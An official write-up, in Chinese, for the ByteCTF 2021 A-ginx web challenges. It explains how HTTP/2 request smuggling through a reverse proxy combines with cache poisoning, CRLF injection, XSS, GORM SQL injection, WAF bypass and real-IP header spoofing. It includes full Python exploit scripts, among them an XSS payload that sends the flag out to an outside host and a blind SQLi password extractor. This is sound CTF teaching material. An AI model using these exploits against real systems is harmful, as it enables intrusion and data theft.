在本次ByteCTF的初赛和决赛中,A-ginx都是比较少解出的题目(是我脑洞太大了吗?感觉不难呀)
这里我来谈谈我出A-ginx的思路。
一道题目,需要有若干个漏洞结合而成。我认为一个好的题目,不能随意的把各个漏洞点强制的嵌套起来,应该是符合逻辑,有所取舍的。
检查手牌 那么,就来整理一下,我出题时手上拥有的漏洞点。
1. HTTP/2 有些CTFer不喜欢升级手头的工具,总认为v1.7(最早发布于2016年)的Burp Suite才是经典。但是随着Burp不断更新迭代,老版本早因各种原因需要退出历史。比如老版本使用旧的Chromium,随时可能被日; 老版本Burp Suite 就不支持HTTP/2 等等
所以,本题的主体目标就决定为:一定要使用HTTP/2,强制使用老版本的CTFer升级Burp Suite。
当然出题不能无缘无故来使用HTTP/2,一定要有什么漏洞点才能加到题目中。通过研读HTTP/2的RFC文档,发现协议中并没有可以造成漏洞的问题,但协议没有,使用协议的上下游有没有呢?这篇文章给了我启发HTTP/2: The Sequel is Always Worse ,虽然HTTP/2协议没有问题,但是在转化为HTTP/1.1会产生一些安全风险。
目前业界也较多采用使用支持HTTP/2的反代服务(如Nginx)来做前端的负载均衡,后面通过HTTP/1.1进行反向代理到真正的业务服务中。
2. 架构带来的风险 所以整道题目的架构也浮现了:前端(反向代理) –> 后端(业务逻辑)
那么 这种架构能带来什么安全问题呢?
a. 请求走私
b. WAF绕过
c. 真实IP欺骗
d. 缓存攻击
3. GORM Where Key注入 在旧版本中,GORM对于列名的未过滤反引号,可以造成逃逸,从而导致注入。
4. 简简单单来个XSS 前端使是 Asoul-ICU小作文库 修改而来,原生代码中即存在dangerouslySetInnerHTML
的使用,所以简单来说就是一个XSS。
整理手牌 这些漏洞点本来是打算出在一道题中,但是发现点太多,最终拆成两道题。(桀桀,牌太多了)
初赛:请求走私 + 缓存攻击 + XSS
决赛:请求走私 + GORM注入 + 绕过WAF + 真实IP欺骗
这也是题目描述This is similar to a-ginx, but not very similar!
的意义。
题目源码与环境 题目的源码和环境现已全部开源,欢迎大家指教~
解题思路和EXP 初赛提供了环境,二进制程序,数据库结构。这大部分都和A-ginx2是相似的。
通用的设定 Trace-Id 包括现实很多地方都会存在类似于Trace-Id
的东西,它们只有一个目的,追踪请求的流转。在本题中,你可以通过Trace-Id
来判断这个请求是否到达到backend
。
A-ginx 2021 ByteCTF 初赛部分题目官方Writeup
XSS 既然提供了bot,那必然有XSS。不管通过那些途径,你可以找到两个XSS点
POST型XSS点 /v/articles/preview
展示article中的 htmlContent
是另一个XSS点
但是这两个点都不能独立的完成XSS,一个是POST型无法触发,另一个因为输入中有HTMLSanitize
来进行过滤。
缓存服务 观察各个API,你会发现在/static/
下的请求,会进行缓存,并出现cache-key
。这个请求头没有Trace-Id
,也表示它是直接的被缓存在了A-ginx端中。
CRLF注入 400 Bad Request
携带Trace-Id
说明该请求为后端返回的。
500 Internal Server Error
未携带Trace-Id
,说明这个500是A-ginx出错造成的。根本原因是因为错误的请求包,导致后端断开了和前端的TCP请求,第二次访问的时候连接已经断开,导致500。
确认基本攻击思路 这样我们就大致确定了攻击思路,通过CRLF注入把带有XSS payload的JSON写入A-ginx的/static/下的cache中。之后通过目录穿越,让/v/articles/uuid
转变为获取 /static/kur4ge1337.json
来触发XSS。
写入恶意json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import httpximport uuidfrom urllib import parseDOMAIN = '127.0.0.1:20443' id = str (uuid.uuid4())payload1 = parse.quote(f''' HTTP/1.1 Host: {DOMAIN} Connection: Keep-Alive POST /v/articles/preview HTTP/1.1 Host: {DOMAIN} Content-Type: application/x-www-form-urlencoded Content-Length: 418 Connection: Keep-Alive title=%7b%22data%22%3a%7b%22_id%22%3a%22%22%2c%22title%22%3a%22Kur4ge1337%22%2c%22author%22%3a%22Kur4ge1337%22%2c%22htmlContent%22%3a%22%3cimg+src%3d%2f%2fflag+onerror%3d%27fetch%28%60%2fflag%60%29.then%28r%3d%3er.text%28%29%29.then%28%28c%29%3d%3e%7bfetch%28%60%2f%2fa.bcd.ef%3a12345%2f%60%2bc%29%7d%29%27%3e%22%2c%22submissionTime%22%3a1633621705%2c%22tags%22%3a%22%22%7d%2c%22status%22%3a0%2c+%22&content=%22%3a0%7d''' )with httpx.Client(http2=True , verify=False ) as client: r = client.get(f'https://{DOMAIN} /v/' + payload1) print (r.text, r.headers.raw) r = client.get(f'https://{DOMAIN} /static/Kur4ge1337.json' ) print (r.text, r.headers.raw) print (f'https://{DOMAIN} /static/Kur4ge1337.json' ) print (r.text, r.headers.raw)
通过上面的Payload,我们可以写入任意数据到/static/下,但是新的问题出现了。
Flag的获取 /flag
要求管理员凭据,但是我们的管理员凭据只会在请求 /v/articles/uuid
时发送,那么,即使我们获得了XSS,也没有办法获得管理员凭据(非预期的方案不算…)
这里就要提一个点,fetch 会自动跟随302跳转。而带有../
的路径又会触发302跳转。那么有没办法通过CRLF注入,把管理员凭证的利用点向后移动呢?
当然可以,构造Payload
1 ..%25252f..%25252fstatic%252fKur4ge1337.json%2520HTTP%252f1.1 %250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520 %252fflag
Admin Location跳转后,会提取/#/articles/
后的内容,向Aginx
发送请求
1 2 3 GET /v/articles/..%25252 f..%25252 fstatic%252 fKur4ge1337.json%2520 HTTP%252 f1.1 %250 aHost:%2520 localhost%250 aConnection:%2520 Keep-Alive%250 a%250 aGET%2520 %252 fflag HTTP/2 .0 Authoration :Bearer ......
Aginx 接收到请求,转发给web
请求如下,
1 2 3 4 5 6 7 GET /v/ articles/..%2f..%2fstatic/ Kur4ge1337.json HTTP/1.1 Host: localhostConnection: Keep-AliveGET /flag HTTP/ 1.1 Authoration:Bearer ... ...
web
发现存在..%2f
返回301跳转,这里也走私了一个/flag
(5行之后)请求,并且携带了Admin的凭证
1 2 HTTP /1 .1 301 Location : /static/Kur4ge1337.json
fetch
发现存在301跳转,会自动跟随Location
发起第二轮请求。
1 2 3 GET /static/Kur4ge1337.json HTTP/2.0 Authoration:Bearer ... ...
这个请求已经被Cache
,就在Aginx
端直接进行了拦截返回,即这个请求是不会发送到Web
即不会获取到走私的/flag
可以在页面中成功触发XSS,通过onerror
来发起/flag
请求,来读取到之前走私的/flag
。
问题解决~
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import randomimport stringfrom pwn import *from hashlib import sha256import httpximport uuidfrom urllib import parseDOMAIN = '127.0.0.1:20443' id = str (uuid.uuid4())payload1 = parse.quote(f''' HTTP/1.1 Host: {DOMAIN} Connection: Keep-Alive POST /v/articles/preview HTTP/1.1 Host: {DOMAIN} Content-Type: application/x-www-form-urlencoded Content-Length: 418 Connection: Keep-Alive title=%7b%22data%22%3a%7b%22_id%22%3a%22%22%2c%22title%22%3a%22Kur4ge1337%22%2c%22author%22%3a%22Kur4ge1337%22%2c%22htmlContent%22%3a%22%3cimg+src%3d%2f%2fflag+onerror%3d%27fetch%28%60%2fflag%60%29.then%28r%3d%3er.text%28%29%29.then%28%28c%29%3d%3e%7bfetch%28%60%2f%2fa.bcd.ef%3a12345%2f%60%2bc%29%7d%29%27%3e%22%2c%22submissionTime%22%3a1633621705%2c%22tags%22%3a%22%22%7d%2c%22status%22%3a0%2c+%22&content=%22%3a0%7d''' )with httpx.Client(http2=True , verify=False ) as client: r = client.get(f'https://{DOMAIN} /v/' + payload1) print (r.text, r.headers.raw) r = client.get(f'https://{DOMAIN} /static/Kur4ge1337.json' ) print (r.text, r.headers.raw) print (f'https://{DOMAIN} /static/Kur4ge1337.json' ) print (r.text, r.headers.raw) def encodeURI (s ): r = '' for c in s: if c in '''\r\n"'%&/ ''' : r += '%{:0>2x}' .format (ord (c)) else : r += c return r payload2 = encodeURI(encodeURI(f'''..%2f..%2fstatic/Kur4ge1337.json HTTP/1.1 Host: localhost Connection: Keep-Alive GET /flag''' .strip()))print (payload2)io = remote('127.0.0.1' , 9000 ) context.log_level = 'debug' io.recvuntil(b'+' ) suffix = io.recvuntil(b')' )[:-1 ] io.recvuntil(b'== ' ) hash = io.recvline()[:-1 ].decode()assert (len (suffix) == 16 and len (hash ) == 64 )def solve_pow (suffix, hash ): chars = string.digits + string.ascii_letters while True : for a in chars: for b in chars: for c in chars: for d in chars: xxxx = f'{a} {b} {c} {d} ' if sha256(xxxx.encode() + suffix).hexdigest() == hash : return xxxx io.sendline(solve_pow(suffix, hash )) io.recvuntil(b'\n' ) io.sendline(payload2) io.interactive()
A-ginx2 SQLi 要获取管理员的密码,唯一可能就是注入了,其实没什么数据库交互点,可以看到有个query参数很奇怪,里面给的是json的k-v的形式,如果有写过gorm,那么你一定知道,GORM中where可以传入*map[string]interface{}
,其中key可控的情况就会造成SQLi
通过简单的尝试,可以获取到SQLi。
以上两个payload可以简单的确认,这里存在注入。
但是,存在对参数的WAF,需要如何绕过呢?是的。请求走私。
绕WAF & 获取密码 代码中只对参数进行检测,所以,只要走私到body,就可以绕过这个WAF啦!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import httpxfrom urllib import parseimport jsonDOMAIN = '127.0.0.1:30443' Authorization = 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDAwMDEyMjMsInVzZXJuYW1lIjoia3VyNGdlIn0.Ml09NIlcP5dmiYM0rF09jbvYS3EiT7_EPUgz1Ue4tu0' headers = { 'Content-Length' : '0' } def check (payload ): query = parse.quote(json.dumps({f"title` OR (SELECT 1 FROM users WHERE username='admin' AND {payload} ) OR `title" :"n0t_Exsit" })) data = f'''GET /v/articles?pageNum=0&pageSize=36&query={query} HTTP/1.1 Host: localhost Connection: Keep-Alive Authorization: {Authorization} ''' with httpx.Client(http2=True , verify=False ) as client: r = client.request("GET" , f'https://{DOMAIN} /v/' , headers=headers, data=data) r = client.request("GET" , f'https://{DOMAIN} /v/' ) print (r.text) obj = json.loads(r.text) return len (obj['articles' ]) != 0 base_sql = 'ASCII(SUBSTR(password,{},1))>{}' password = '' for i in range (1 , 29 ): Min = 0x10 Max = 128 while abs (Max - Min) > 1 : mid = (Max+Min) // 2 payload = base_sql.format (i, mid) if check(payload): Min = mid else : Max = mid password += chr (Max) print (password)
写出布尔注的脚本,简简单单可以跑到密码Visit_/flag_to_get_the_flag!
但是,/flag
是需要内网ip才能访问。本题没有ssrf,没有xss bot。考虑常见的XFF Payload发现无效,只能来获取真正的XFF头。
来获取返回头,需要一个能够返回请求中Query的API。/v/articles/preview
这个API 就可以完成这个能力。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import httpxfrom urllib import parseimport jsonDOMAIN = '127.0.0.1:30443' def get_header (): data = 'title=1&content=' headers = { 'Content-Type' : 'application/x-www-form-urlencoded' , 'Connection' : 'keep-alive' , 'Content-Length' : str (len (data) + 300 ), } first = '''GET /v/ HTTP/1.1 Host: localhost Connection: Keep-Alive ''' with httpx.Client(http2=True , verify=False ) as client: r = client.request("GET" , f'https://{DOMAIN} /v/' , headers={'Content-Length' : '0' }, data=first) r = client.request("POST" , f'https://{DOMAIN} /v/articles/preview' , headers=headers, data=data) r = client.request("POST" , f'https://{DOMAIN} /v/' , data='a' *400 ) print (r.text) get_header()
拿到Client获取信任IP的header 为 X-Sup3r-DiAnA-Re4l-Ip
Get flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import httpxfrom urllib import parseimport jsonDOMAIN = '127.0.0.1:30443' def login (username, password ): with httpx.Client(http2=True , verify=False ) as client: data = {"username" : username, "password" : password} r = client.post(f'https://{DOMAIN} /v/login' , json=data) return json.loads(r.text)['token' ] def get_flag (token, header ): data = f'''GET /flag HTTP/1.1 Host: localhost {header} : 172.16.0.1:23333Authorization: Bearer {token} ''' with httpx.Client(http2=True , verify=False ) as client: r = client.request("GET" , f'https://{DOMAIN} /v/' , headers={'Content-Length' : '0' }, data=data) r = client.request("GET" , f'https://{DOMAIN} /flag' ) print (r.text) return json.loads(r.text)['flag' ] token = login('admin' , 'Visit_/flag_to_get_the_flag!' ) print (token)flag = get_flag(token, 'X-Sup3r-DiAnA-Re4l-Ip' ) print (flag)
为了出题而出题/偷懒的地方 虽然说了那么多命题要义,但最终还是有些问题,不得不用trick来解决。
“迫真”的缓存cache ByteCTF2021/A-ginx/a-ginx/cmd/server/main.go#L42-L55
按照正常逻辑应该不需要这种诡异的判断,但是还是考虑到避免搅屎,加上了这段判断。
backend使用中间件来完成../
跳转 ../
导致的目录穿越其实是一个很经典的问题,可以看到 golang.org/x/net/http2 会自动的进行重定向,而 github.com/gin-gonic/gin 却不能。
ByteCTF2021/A-ginx2/backend/internal/handler/middleware/uri_trim.go#L13-L33
为了满足跳转造成的XSS,只能手动写一个中间件了~
修改源码来允许非法Content-Length ByteCTF2021/A-ginx2/Dockerfile_aginx#L16
A-ginx2 中导致请求走势的注入点为Content-Length
,但事实上使用golang.org/x/net/http2 构建的HTTP/2服务会针对Content- Length
错误抛出一个异常。并且清空body中的数据。所以为了题目的漏洞能够正确的触发,所以只能进行小小的修改了:)
WAF问题 WAF就随便写了一个基于关键词WAF,是偷懒了(
具体的关键词是取自MySQL 8.0 docs中的所有keywords ,剔除了部分单词,例如or(author),让逻辑可以正确运行。而且,这个waf其实可以用 \u
直接绕过(该死的log4j,让我没时间修这个) ,但是似乎,也没人用这个方案绕waf?
最后 希望大家能从这两题中有所收获~